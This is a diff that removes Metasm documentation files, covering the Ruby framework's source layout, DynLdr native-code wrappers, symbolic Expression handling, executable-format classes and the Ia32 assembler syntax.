* `parse.rb`: methods to parse asm instructions from a source file
|
||||
* `render.rb`: methods to output an instruction to a string
|
||||
* `compile_c.rb`: the C compiler implementation
|
||||
* `decompile.rb`: the arch-specific part of the generic decompiler
|
||||
* `debug.rb`: arch-specific information used when debugging target of this architecture
|
||||
|
||||
In some cases the files are small enough to be all merged into the `main.rb` file.
|
||||
|
||||
|
||||
Operating systems
|
||||
#################
|
||||
|
||||
The `os/` subdirectory holds the code used to abstract an operating systems.
|
||||
|
||||
The files here define an API allowing to enumerate running processes, and interact
|
||||
with them in various ways. The <core/Debugger.txt> class and subclasses are
|
||||
defined there.
|
||||
|
||||
Those files also holds the list of known functions and in which system libraries
|
||||
they can be found (see <core/WindowsExports.txt> or <core/GNUExports.txt>), which
|
||||
are used when linking executable files.
|
||||
|
||||
|
||||
Graphical user-interface
|
||||
########################
|
||||
|
||||
The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces.
|
||||
|
||||
Currently those include the disassembler and the debugger (see the *samples* section).
|
||||
|
||||
Those GUI elements are implemented using a custom GUI abstraction, and reside in the
|
||||
various `dasm_*.rb` and `debug.rb`.
|
||||
|
||||
The actual implementation of the GUI are found in:
|
||||
|
||||
* `win32.rb`: the native Win32 API backend
|
||||
* `gtk.rb`: a Gtk2 backend, intended for unix platforms
|
||||
* `qt.rb`: a Qt backend experiment
|
||||
|
||||
Please note that the Qt backend does not work *at all*.
|
||||
|
||||
The `gui.rb` file in the main directory is used to chose among the available GUI backend
|
||||
the most appropriate for the current session.
|
||||
|
||||
|
||||
Others
|
||||
######
|
||||
|
||||
The other files directly in the `metasm/` directory are either support files
|
||||
(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by
|
||||
specific cpu/exeformat instances, or implement arch-agnostic features.
|
||||
Those include:
|
||||
|
||||
* `preprocessor.rb`: the C/asm preprocessor/lexer
|
||||
* `parse_c.rb`: this is the implementation of the C parser
|
||||
* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source
|
||||
* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder
|
||||
* `dynldr.rb`: this module is used when interacting directly with the host operating system through <core/DynLdr.txt>
|
||||
|
||||
|
||||
The samples
|
||||
-----------
|
||||
|
||||
The `samples/` directory contains a lot of small files that intend to be
|
||||
exemples of how to use the framework. It also holds experiments and
|
||||
work-in-progress for features that may later be integrated into the main
|
||||
framework.
|
||||
|
||||
The comment at the beginning of the file should be clear about the purpose
|
||||
of the script, and the scripts are expected to be copy/pasted and tweaked
|
||||
for the specific task needed by the user (that's you).
|
||||
|
||||
Some of those files however are full-featured applications:
|
||||
|
||||
* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts
|
||||
* `disassemble.rb`: a disassembler
|
||||
* `disassemble-gui.rb`: the graphical disassembler / debugger
|
||||
|
||||
The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler.
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
The const_missing trick
|
||||
=======================
|
||||
|
||||
Metasm uses a ruby trick to load most of the framework on demand, so that
|
||||
*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter
|
||||
unless you use them.
|
||||
|
||||
It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of
|
||||
`Module.autoload`. This mechanism will automatically load the specified metasm
|
||||
components whenever a reference is made to one of the constants listed here.
|
||||
|
||||
Metasm provides a replacement top-level file, `misc/metasm-all.rb`,
|
||||
which will unconditionally load all metasm files.
|
||||
This will not however load mutually exclusive files, like the Gui subsystems ;
|
||||
in this case it will load only the autodetected gui module (win32 or gtk).
|
||||
|
|
@ -1,247 +0,0 @@
|
|||
DynLdr
|
||||
======
|
||||
|
||||
DynLdr is a class that uses metasm to dynamically add native methods,
|
||||
or native method wrappers, available to the running ruby interpreter.
|
||||
|
||||
It leverages the built-in C parser / compiler.
|
||||
|
||||
It is implemented in `metasm/dynldr.rb`.
|
||||
|
||||
Currently only supported for <core/Ia32.txt> and <core/X86_64.txt> under
|
||||
Windows and Linux.
|
||||
|
||||
|
||||
Basics
|
||||
------
|
||||
|
||||
Native library wrapper
|
||||
######################
|
||||
|
||||
The main usage is to generate interfaces to native libraries.
|
||||
|
||||
This is done through the `#new_api_c` method.
|
||||
|
||||
The following exemple will read the specified C header fragment,
|
||||
define ruby constants for all `#define`/`enum`, and define ruby
|
||||
method wrappers to call the native functions whose prototype is
|
||||
present in the header.
|
||||
|
||||
All referenced native functions must be exported by the given
|
||||
library file.
|
||||
|
||||
class MyInterface < DynLdr
|
||||
c_header = <<EOS
|
||||
#define SomeConst 42
|
||||
enum { V1, V2 };
|
||||
|
||||
__stdcall int methodist(char*, int);
|
||||
EOS
|
||||
|
||||
new_api_c c_header, 'mylib.dll'
|
||||
end
|
||||
|
||||
Then you can call, from the ruby:
|
||||
|
||||
MyInterface.methodist("lol", MyInterface::SOMECONST)
|
||||
|
||||
Constant/enum names are converted to full uppercase, and method
|
||||
names are converted to full lowercase.
|
||||
|
||||
Dynamic native inline function
|
||||
##############################
|
||||
|
||||
You can also dynamically compile native functions, that are compiled
|
||||
in memory and copied to RWX memory with the right ruby wrapper:
|
||||
|
||||
class MyInterface < DynLdr
|
||||
new_func_c <<EOS
|
||||
int bla(char*arg) {
|
||||
if (strlen(arg) > 4)
|
||||
return 1;
|
||||
else
|
||||
return 0;
|
||||
}
|
||||
EOS
|
||||
end
|
||||
|
||||
References to external functions are allowed, and resolved automatically.
|
||||
|
||||
The ruby objects used as arguments to the wrapper method are
|
||||
automatically converted to the right C type.
|
||||
|
||||
|
||||
You can also write native functions in assembly, but you must specify a
|
||||
C prototype, used for argument and return value conversion.
|
||||
|
||||
class MyInterface < DynLdr
|
||||
new_func_asm "int increment(int i);", <<EOS
|
||||
mov eax, [esp+4]
|
||||
inc eax
|
||||
ret
|
||||
EOS
|
||||
|
||||
p increment(4)
|
||||
|
||||
end
|
||||
|
||||
|
||||
Structures
|
||||
----------
|
||||
|
||||
`DynLdr` handles C structures.
|
||||
|
||||
Once a structure is specified in the C part, you can create a ruby object
|
||||
using `MyClass.alloc_c_struct(structname)`, which will allocate an object of the
|
||||
right size to hold all the structure members, and with the right accessors.
|
||||
|
||||
To access/modify struct members, you can either use a `Hash`-style access
|
||||
|
||||
structobj['membername'] = 42
|
||||
|
||||
or `Struct`-style access
|
||||
|
||||
structobj.membername = 42
|
||||
|
||||
Member names are matched case-insensitively, and nested structures/unions
|
||||
are also searched.
|
||||
|
||||
The struct members can be initially populated by passing a `Hash` argument
|
||||
to the `alloc_c_struct` constructor. Additionally, this hash may use the
|
||||
special value `:size` to reference the byte size of the current structure.
|
||||
|
||||
class MyInterface < DynLdr
|
||||
new_api_c <<EOS
|
||||
struct sname {
|
||||
int s_mysize;
|
||||
int s_value;
|
||||
union {
|
||||
struct {
|
||||
int s_bits:4;
|
||||
int s_bits2:4;
|
||||
};
|
||||
int s_union;
|
||||
}
|
||||
};
|
||||
EOS
|
||||
end
|
||||
|
||||
# field s_mysize holds the size of the structure in bytes, ie 12
|
||||
s_obj = MyInterface.alloc_c_struct('sname', :s_mysize => :size, :s_value => 42)
|
||||
|
||||
# we can access fields using Hash-style access
|
||||
s_obj['s_UniOn'] = 0xa8
|
||||
|
||||
# or Struct-style access
|
||||
puts '0x%x' % s_obj.s_BiTS2 # => '0xa'
|
||||
|
||||
This object can be directly passed as argument to a wrapped function, and
|
||||
the native function will receive a pointer to this structure (that it can
|
||||
freely modify).
|
||||
|
||||
This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`.
|
||||
Internally, it is based on a ruby `String`, and has a reference to the parser's
|
||||
`Struct` to find the mapping membername -> offsets/length.
|
||||
|
||||
See <core/CParser.txt> for more details.
|
||||
|
||||
|
||||
Callbacks
|
||||
---------
|
||||
|
||||
`DynLdr` handles C callbacks, with arbitrary ABI.
|
||||
|
||||
Any number of callbacks can be defined at any time.
|
||||
|
||||
C callbacks are backed by a ruby `Proc`, eg `lambda {}`.
|
||||
|
||||
|
||||
class MyInterface < DynLdr
|
||||
new_api_c <<EOS
|
||||
void qsort(void *, int, int, int(*)(void*, void*));
|
||||
EOS
|
||||
|
||||
str = "sanotheusnaonetuh"
|
||||
cmp = lambda { |p1, p2|
|
||||
memory_read(p1, 1) <=> memory_read(p2, 1)
|
||||
}
|
||||
qsort(str, str.length, 1, cmp)
|
||||
p str
|
||||
end
|
||||
|
||||
|
||||
|
||||
Argument conversion
|
||||
-------------------
|
||||
|
||||
Ruby objects passed to a wrapper method are converted to the corresponding
|
||||
C type
|
||||
|
||||
* `Strings` are converted to a C pointer to the byte buffer (also directly
|
||||
accessible from the ruby through `DynLdr.str_ptr(obj)`
|
||||
* `Integers` are converted to their C equivalent, according to the prototype
|
||||
(`char`, `unsigned long long`, ...)
|
||||
* `Procs` are converted to a C callback
|
||||
* `Floats` are not supported for now.
|
||||
|
||||
|
||||
Working with memory
|
||||
-------------------
|
||||
|
||||
DynLdr provides different ways to allocate memory.
|
||||
|
||||
* `alloc_c_struct` to allocate a C structure
|
||||
* `alloc_c_ary` to allocate C array of some type
|
||||
* `alloc_c_ptr`, which is just an ary of size 1
|
||||
* `memory_alloc` allocates memory from a new memory page
|
||||
|
||||
`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows,
|
||||
and is suitable for allocating memory where you want to control
|
||||
the memory permissions (read, write, execute). This is done through `memory_perm`.
|
||||
|
||||
`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx')
|
||||
|
||||
To work with memory that may be returned by an API (e.g. `malloc`),
|
||||
DynLdr provides ways to read and write arbitrary pointers from the ruby
|
||||
interpreter memory.
|
||||
Take care, those may generate faults when called with invalid addresses that
|
||||
will crash the ruby interpreter.
|
||||
|
||||
* `memory_read` takes a pointer and a length, and returns a String
|
||||
* `memory_read_int` takes a pointer, and returns an Integer (of pointer size,
|
||||
e.g. 64 bit in a 64-bit interpreter)
|
||||
* `memory_write` takes a pointer and a String, and writes it to memory
|
||||
* `memory_write_int`
|
||||
|
||||
|
||||
Hacking
|
||||
-------
|
||||
|
||||
Internally, DynLdr relies on a number of features that are not directly
|
||||
available from the ruby interpreter.
|
||||
|
||||
So the first thing done by the script is to generate a binary native module
|
||||
that will act as a C extension to the ruby interpreter.
|
||||
This binary is necessarily different depending on the interpreter.
|
||||
The binary name includes the target architecture, in the format
|
||||
dynldr-*arch*-*cpu*-*19*.so, e.g.
|
||||
|
||||
* dynldr-linux-ia32.so
|
||||
* dynldr-windows-x64-19.so
|
||||
|
||||
This native module is (re)generated if it does not exist, or is older than the
|
||||
`dynldr.rb` script.
|
||||
|
||||
A special trick is used in this module, as it does not know the actual name
|
||||
of the ruby library used by the interpreter. So on linux, the `libruby` is
|
||||
removed from the `DT_NEEDED` library list, and on windows a special stub
|
||||
is assembled to manually resolve the ruby imports needed by the module from
|
||||
any instance of `libruby` present in the running process.
|
||||
|
||||
The native file is written to a directory writeably by the current user.
|
||||
The following list of directories are tried, until a suitable one is found:
|
||||
|
||||
* the `metasm` directory itself
|
||||
* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory
|
||||
* the `$TMP`/`$TEMP`/current directory
|
||||
|
|
@ -1,43 +0,0 @@
|
|||
ExeFormat
|
||||
=========
|
||||
|
||||
This class is the parent of all executable format handlers.
|
||||
|
||||
It is defined in `metasm/exe_format/main.rb`.
|
||||
|
||||
It defines some standard shortcut functions, such as:
|
||||
|
||||
* `Exe.decode_file(filename)`
|
||||
* `Exe.assemble(cpu,asm_source)`
|
||||
* `Exe.compile_c(cpu,c_source)`
|
||||
* `Exe#encode_file(filename)`
|
||||
|
||||
These methods will instanciate a new Exe, and call the corresponding
|
||||
methods, *e.g.* `load` with the file content, and `decode`.
|
||||
|
||||
The handling of the different structures in the binary format should be
|
||||
done using the <core/SerialStruct.txt> facility.
|
||||
|
||||
The subclasses are expected to implement various functions, depending on the
|
||||
usage (refer to the ELF and COFF implementations for more details):
|
||||
|
||||
File decoding/disassembly
|
||||
-------------------------
|
||||
|
||||
* `#decode_header`: parse the raw data in `#encoded` only to parse the file header
|
||||
* `#decode`: parse all the raw data in `#encoded`
|
||||
* `#cpu_from_headers`: return a <core/CPU.txt> instance according to the exe header information
|
||||
* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc)
|
||||
* `#dump_section_header`: return a string that may be assembled to recreate the specified section
|
||||
* `#section_info`: return a list of generic section informations for the disassembler
|
||||
|
||||
|
||||
File encoding/source parsing
|
||||
----------------------------
|
||||
|
||||
* `#tune_prepro`: define exe-specific macros for the preprocessor (optional)
|
||||
* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source
|
||||
* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`...
|
||||
* `#assemble`: assemble the content of the @cursource into binary section contents
|
||||
* `#encode`: assemble the various sections and a binary header into `@encoded`
|
||||
|
|
@ -1,220 +0,0 @@
|
|||
Expression
|
||||
==========
|
||||
|
||||
Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g.
|
||||
* `42`
|
||||
* `eax + 12`
|
||||
* `loc_4228h + 4*ebx - 12`
|
||||
|
||||
These expressions can include `Integers`, `Symbols`, and `Strings`.
|
||||
|
||||
The symbols and strings represent arbitrary variables, with the convention that
|
||||
strings represent fixed quantities (eg addresses, labels), whereas symbols
|
||||
represent more variable stuff (eg register values).
|
||||
|
||||
There is also a special symbol that may be used, `:unknown`, to represent a
|
||||
value that is known to be unknown. See the `reduce` section.
|
||||
|
||||
See also <core/Indirection.txt>.
|
||||
|
||||
The Expression class holds all methods relative to Integer binary manipulation,
|
||||
that is `encoding` and `decoding` from/to a binary blob (see also
|
||||
<core/EncodedData.txt>)
|
||||
|
||||
|
||||
Members
|
||||
-------
|
||||
|
||||
Expressions hold exactly 3 members:
|
||||
* `lexpr`, the left-hand side of the expression
|
||||
* `rexpr`, the right-hand side
|
||||
* `op`, the operator
|
||||
|
||||
`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or
|
||||
Expression. For unary operators, `lexpr` is `nil`.
|
||||
|
||||
`op` is a Symbol representing the operation.
|
||||
It should be from the list:
|
||||
* arithmetic: `+ - / * >> << & | ^`
|
||||
* boolean: `|| && == != > >= < <=`
|
||||
* unary: `+ - ~ !`
|
||||
|
||||
|
||||
Instantiation
|
||||
-------------
|
||||
|
||||
In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`,
|
||||
`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except
|
||||
for negative numeric values, which is stored with `op` == `:-` and `rexpr` ==
|
||||
abs).
|
||||
|
||||
If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called
|
||||
recursively, to ease the definition of nested Expressions.
|
||||
|
||||
Exemples:
|
||||
|
||||
Expression[42]
|
||||
Expression[:eax, :+, 12]
|
||||
Expression[:-, 'my_var']
|
||||
Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]]
|
||||
|
||||
The Expression class also includes a parser, to allow creating an expression
|
||||
from a string. `parse_string!` will create an Expression and update its
|
||||
argument to point after the last part read successfully into the expr.
|
||||
The parser handles standard C operator precedence.
|
||||
|
||||
str = "1 + var"
|
||||
Expression.parse_string!(str) # => Expression[1, :+, "var"]
|
||||
str = "42 bla"
|
||||
Expression.parse_string!(str) # => Expression[42]
|
||||
str # => "bla"
|
||||
|
||||
Use `parse_string` without the ! to parse the string without updating it.
|
||||
|
||||
External variables
|
||||
------------------
|
||||
|
||||
The `externals` method will return all non-integer members of the Expression.
|
||||
|
||||
Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"]
|
||||
|
||||
|
||||
Pattern matching
|
||||
----------------
|
||||
|
||||
The `match` method allows to check an Expression against a pattern without
|
||||
having to check individual members. The pattern should be an Expression,
|
||||
whose variable members should be Strings or Symbols, which are also passed as
|
||||
arguments to the match function. On successful match, the correspondance
|
||||
between variable patterns and their actual value matched is returned as a Hash.
|
||||
|
||||
Expression[1, :+, 2].match(Expression['var', :+, 2], 'var')
|
||||
# => { 'var' => 1 }
|
||||
Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var')
|
||||
# => nil
|
||||
Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op)
|
||||
# => { 'var' => 1, :op => :+ }
|
||||
|
||||
|
||||
Reduction
|
||||
---------
|
||||
|
||||
Metasm Expressions include a basic symbolic computation engine, that allows
|
||||
some simple transformations of the Expression. The reduction will also
|
||||
compute numerical values whenever possible. If the final result is fully
|
||||
numeric, an Integer is returned, otherwise a new Expression is returned.
|
||||
|
||||
In this context, the special value `:unknown` has a particular meaning.
|
||||
|
||||
Expression[1, :+, 2].reduce
|
||||
# => 3
|
||||
Expression[:eax, :+, [:ebx, :-, :eax]].reduce
|
||||
# => Expression[:ebx]
|
||||
Expression[1, :+, [:eax, :+, 2]].reduce
|
||||
# => Expression[:eax, :+, 3]
|
||||
Expression[:unknown, :+, :eax].reduce
|
||||
# => Expression[:unknown]
|
||||
|
||||
The symbolic engine operates mostly on addition/substractions, and
|
||||
no-operations (eg shift by 0). It also handles some boolean composition.
|
||||
|
||||
The detail can be found in the #replace_rec method body, in `metasm/main.rb`.
|
||||
|
||||
The reduce method can also take a block argument, which will be called at
|
||||
every step in the recursive reduction, for custom operations. If the block
|
||||
returns nil, the result is unchanged, otherwise the new value is used as
|
||||
replacement. For exemple, if you operate on 32-bit values and want to get rid
|
||||
of `bla & 0xffffffff`, use
|
||||
|
||||
some_expr.reduce { |e|
|
||||
if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff
|
||||
e.lexpr
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
Binding
|
||||
-------
|
||||
|
||||
An expression involving variable externals can be bound using a Hash. This will
|
||||
replace any occurence of a key of the Hash by its value in the expression
|
||||
members. The `bind` method will return a new Expression with the substitutions,
|
||||
and the `bind!` method will update the Expression in-place.
|
||||
|
||||
Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce
|
||||
# => 12
|
||||
Expression[:eax, :+, :ebx].bind(:ebx => 42)
|
||||
# Expression[:eax, :+, 42]
|
||||
Expression[:eax, :+, :ebx].bind(:ebx => :ecx)
|
||||
# Expression[:eax, :+, :ecx]
|
||||
|
||||
You can use Expressions as keys, but they will only be used on perfect matches.
|
||||
|
||||
|
||||
Binary packing
|
||||
--------------
|
||||
|
||||
Encoding
|
||||
########
|
||||
|
||||
The `encode` method will generate an EncodedData holding the expression, either
|
||||
as binary if it can reduce to an integral value, or as a relocation.
|
||||
The arguments are the relocation type and the endianness, plus an optional
|
||||
backtrace (to notify the user where an overflowing relocation comes from).
|
||||
|
||||
The `encode_imm` class method will generate a raw String for a given
|
||||
integral value, a type and an endianness.
|
||||
The type can be given as a byte size.
|
||||
|
||||
Expression.encode_imm(42, :u8, :little) # => "*"
|
||||
Expression.encode_imm(42, 1, :big) # => "*"
|
||||
Expression.encode_imm(256, :u8, :little) # raise EncodeError
|
||||
|
||||
On overflows (value cannot be encoded in the bit field) an EncodeError
|
||||
exception is raised.
|
||||
|
||||
Decoding
|
||||
########
|
||||
|
||||
The `decode_imm` class method can be used to read a binary value into an
|
||||
Integer, with an optional offset into the binary string.
|
||||
|
||||
Expression.decode_imm("*", :u8, :little) # => 42
|
||||
Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2
|
||||
|
||||
|
||||
Arithmetic coercion
|
||||
-------------------
|
||||
|
||||
Expression implement the `:+` and `:-` ruby methods, so that `expr + 4`
|
||||
works as expected. The result is reduced.
|
||||
|
||||
|
||||
Integer methods
|
||||
---------------
|
||||
|
||||
The Expression class offers a few methods to work with integers.
|
||||
|
||||
make_signed
|
||||
###########
|
||||
|
||||
`make_signed` will convert a raw unsigned to its equivalent signed value,
|
||||
given a bit size.
|
||||
|
||||
Expression.make_signed(1, 16) # => 1
|
||||
Expression.make_signed(0xffff, 16) # => -1
|
||||
|
||||
|
||||
in_range?
|
||||
#########
|
||||
|
||||
`in_range?` can check if a given numeric value would fit in a particular
|
||||
<core/Relocation.txt> field. The method can return true or false if it
|
||||
fits or not, or `nil` if the result is unknown (eg the expr has no numeric
|
||||
value).
|
||||
|
||||
Expression.in_range?(42, :i8) # => true
|
||||
Expression.in_range?(128, :i8) # => false
|
||||
Expression.in_range?(-128, :i8) # => true
|
||||
Expression.in_range?(Expression['bla'], :u32) # => nil
|
||||
|
|
@ -1,27 +0,0 @@
|
|||
GNUExports
|
||||
==========
|
||||
|
||||
This class is defined in `metasm/os/gnu_exports.rb`
|
||||
|
||||
It defines an `EXPORT` constant, a Hash, whose keys
|
||||
are the standard linux API symbol names, and values
|
||||
are the library name where you can find this symbol.
|
||||
|
||||
The equivallent for windows is <core/WindowsExports.txt>
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The main usage of this class is the automatic generation
|
||||
of the <core/ELF.txt> dynamic tag `DT_NEEDED` from the
|
||||
external symbols referenced by a binary during compilation.
|
||||
|
||||
This is done in the `automagic_symbols` method.
|
||||
|
||||
Symbols
|
||||
-------
|
||||
|
||||
The current version holds the symbols of the debian
|
||||
glibc, from `libc.so.6` and `libdl.so.2`.
|
||||
|
||||
Ruby symbols are also defined, from `libruby1.8.so.1.8`.
|
|
@ -1,234 +0,0 @@
|
|||
Ia32
|
||||
====
|
||||
|
||||
The Ia32 architecture, aka *Intel_x86*, is the most advanced among the
|
||||
architectures implemented in the framework. It is a subclass of the
|
||||
generic <core/CPU.txt>.
|
||||
|
||||
It can handle binary code for the 16 and 32bits modes of the processor.
|
||||
|
||||
It is a superclass for the <core/X86_64.txt> object, a distinct processor
|
||||
that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*)
|
||||
|
||||
The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix
|
||||
if bigendian)
|
||||
|
||||
Opcodes
|
||||
-------
|
||||
|
||||
The opcodes list can be customized to match that available on a specific
|
||||
version of the processor. The possibilities are:
|
||||
|
||||
* 386_common
|
||||
* 386
|
||||
* 387
|
||||
* 486
|
||||
* pentium
|
||||
* p6
|
||||
* 3dnow
|
||||
* sse
|
||||
* sse2
|
||||
* sse3
|
||||
* vmx
|
||||
* sse42
|
||||
|
||||
Most opcodes are available in the framework, with the notable exception of:
|
||||
|
||||
* most sse2 simd instructions
|
||||
* the AVX instructions
|
||||
* amd-specific instructions
|
||||
|
||||
The `386_common` family is the subset of 386 instruction that are most
|
||||
commonly found in standard usermode programs (no `in`/`out`/bcd
|
||||
arithmetic/far call/etc).
|
||||
This can be useful when manipulating stuff that in not known to be i386
|
||||
binary code.
|
||||
|
||||
|
||||
Initialization
|
||||
--------------
|
||||
|
||||
An Ia32 <core/CPU.txt> object can be created using the following code:
|
||||
|
||||
Metasm::Ia32.new
|
||||
|
||||
The `X86` alias may be used in place of `Ia32`.
|
||||
|
||||
The constructor accepts optional arguments to specify the CPU size, the
|
||||
opcode family, and the endianness of the processor. The arguments can
|
||||
be given in any order. For exemple,
|
||||
|
||||
Metasm::Ia32.new(16, 'pentium', :big)
|
||||
|
||||
will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family,
|
||||
in big-endian mode.
|
||||
|
||||
The Ia32 initializer has the convenience feature that it will create an
|
||||
X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an
|
||||
X86_64 instance)
|
||||
|
||||
|
||||
Assembler
|
||||
---------
|
||||
|
||||
The parser handles only Intel-style asm syntax, *e.g.*
|
||||
|
||||
some_label:
|
||||
mov eax, 10h
|
||||
mov ecx, fs:[eax+16]
|
||||
push dword ptr fs:[1Ch]
|
||||
call ecx
|
||||
test al, al
|
||||
jnz some_label
|
||||
ret
|
||||
fmulp ST(4)
|
||||
|
||||
|
||||
Instruction arguments
|
||||
#####################
|
||||
|
||||
The parser recognizes standard registers, such as
|
||||
|
||||
* `eax`
|
||||
* `ah`
|
||||
* `mm4` (mmx 64bit register)
|
||||
* `xmm2` (xmm 128bit register)
|
||||
* `ST` (current top of the FPU stack)
|
||||
* `ST(3)` (FPU reg nr.3)
|
||||
* `cs` (segment register)
|
||||
* `dr3` (debug register)
|
||||
* `cr2` (control register)
|
||||
|
||||
It also supports inexistant registers, such as
|
||||
|
||||
* `cr7`
|
||||
* `dr4`
|
||||
* `segr6` (segment register nr.6)
|
||||
|
||||
The indirections are called `ModRM`. They take the form:
|
||||
|
||||
* `[eax]` (memory pointed by `eax`)
|
||||
* `byte ptr [eax]` (1-byte memory pointed by `eax`)
|
||||
* `byte [eax]` (same as previous)
|
||||
* `fs:[eax]` (offset `eax` from the base of the `fs` segment)
|
||||
* `[fs:eax]` (same as previous)
|
||||
|
||||
The pointer itself can be:
|
||||
|
||||
* `[eax]` (any register)
|
||||
* `[eax+12]` (base + numeric offset)
|
||||
* `[eax+ebx]` (base + register index)
|
||||
* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index)
|
||||
* `[eax + 2*ebx + 42]` (both)
|
||||
|
||||
Note that the form base + s*index cannot use `esp` as index with s != 1.
|
||||
|
||||
For indirection sizes, the size is taken from the size of other arguments
|
||||
if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]`
|
||||
will be 1). The explicit size specifier can be:
|
||||
|
||||
* `byte` (8bits)
|
||||
* `word` (16)
|
||||
* `dword` (32)
|
||||
* `qword` (64)
|
||||
* `oword` (128)
|
||||
* `_12bits` (12, arbitrary numbers can be used)
|
||||
|
||||
|
||||
Parser commands
|
||||
###############
|
||||
|
||||
The following commands are recognized in an asm source:
|
||||
|
||||
* `.mode`
|
||||
* `.bits`
|
||||
|
||||
They are synonymous, and serve to change the mode of the processor to either
|
||||
16 or 32bits.
|
||||
|
||||
They should be the first instruction in the source, changing the mode during
|
||||
parsing is not supported. This would change only the mode for the next
|
||||
instructions to be parsed, and for all instructions (incl. those already parsed
|
||||
at this point) when encoding, which is likely **not** what you want. See the
|
||||
`codeXX` prefixes.
|
||||
|
||||
Note that changing the CPU size once it was created may have bad side-effects.
|
||||
For exemple, some preprocessor macros may already have been generated according
|
||||
to the original size of the CPU and will be incorrect from this point on.
|
||||
|
||||
|
||||
Prefixes
|
||||
########
|
||||
|
||||
The following prefixes are handled:
|
||||
|
||||
* `lock`
|
||||
* `rep`, `repz`, `repnz`, `repe`, `repne`
|
||||
* `code16`, `code32`
|
||||
|
||||
The `repXX` prefixes are for string operations (`movsd` etc), but will be set
|
||||
for any opcode. Only the last of the family will be encoded.
|
||||
|
||||
The `code16` will generate instructions to be run on a CPU in 16bit mode,
|
||||
independantly of the global CPU mode. For exemple,
|
||||
|
||||
code16 mov ax, 42h
|
||||
|
||||
will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or
|
||||
run incorrectly on an 32bit CPU.
|
||||
|
||||
The encoder also has code to handle `jmp hints` prefixes, but the parser has
|
||||
no equivalent prefix support.
|
||||
|
||||
There is currently no way to specify a segment-override prefix for instruction
|
||||
not using a ModRM argument. Use a `db 26h` style line.
|
||||
|
||||
|
||||
Suffixes
|
||||
########
|
||||
|
||||
The parser implements a specific feature to allow the differenciation of
|
||||
otherwise ambiguous opcodes, in the form of instruction suffixes.
|
||||
|
||||
By default, the assembler will generate the shortest encoding for a given
|
||||
instruction. To force encoding of another form you can add a specific
|
||||
suffix to the instruction. In general, metasm will use e.g. register sizes
|
||||
when possible to avoid this kind of situations, but with immediate-only
|
||||
displacement this is necessary.
|
||||
|
||||
or.a16 [1234h], eax ; use a 16-bit address
|
||||
or [bx], eax ; use a 16-bit address (implicit from the bx register)
|
||||
or eax, 1 ; "\x83\xc8\x01"
|
||||
or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding)
|
||||
or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field)
|
||||
movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di])
|
||||
push.i16 42h ; push a 16-bit integer
|
||||
|
||||
The suffixes are available as follow:
|
||||
|
||||
* if the opcode takes an integer argument that can be encoded as either a 8bits or <cpu size>bits, the `.i` and `.i8` variants are created
|
||||
* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created
|
||||
* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created
|
||||
|
||||
|
||||
C parser
|
||||
--------
|
||||
|
||||
The Ia32 C parser will initialize the type sizes with the `ilp32` memory
|
||||
model, which is:
|
||||
|
||||
* short = 16bits
|
||||
* int = 32bits
|
||||
* long = 32bits
|
||||
* long long = 64bits
|
||||
* pointer = 32bits
|
||||
|
||||
In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits
|
||||
compiler has not been tested anyway).
|
||||
|
||||
The following macros are defined (in the asm preprocessor too)
|
||||
|
||||
* `_M_IX86` = 500
|
||||
* `_X86_`
|
||||
* `__i386__`
|
||||
|
|
@ -1,108 +0,0 @@
|
|||
SerialStruct
|
||||
============
|
||||
|
||||
This is a helper class to handle binary packed data, especially to
|
||||
represent <core/ExeFormat.txt> structures.
|
||||
|
||||
The implementation is in `metasm/exe_format/serialstruct.rb`.
|
||||
|
||||
Basics
|
||||
------
|
||||
|
||||
The class defines some class methods, such as:
|
||||
|
||||
* `dword`
|
||||
* `byte`
|
||||
* `strz`
|
||||
|
||||
These methods can be used directly in subclass definitions, e.g.
|
||||
|
||||
class MyHeader < SerialStruct
|
||||
dword :signature
|
||||
dword :length
|
||||
end
|
||||
|
||||
This will associate the sequence of fields to this structure, which
|
||||
is used in the `#encode` and `#decode` methods.
|
||||
These methods rely on an <core/ExeFormat.txt> instance to define
|
||||
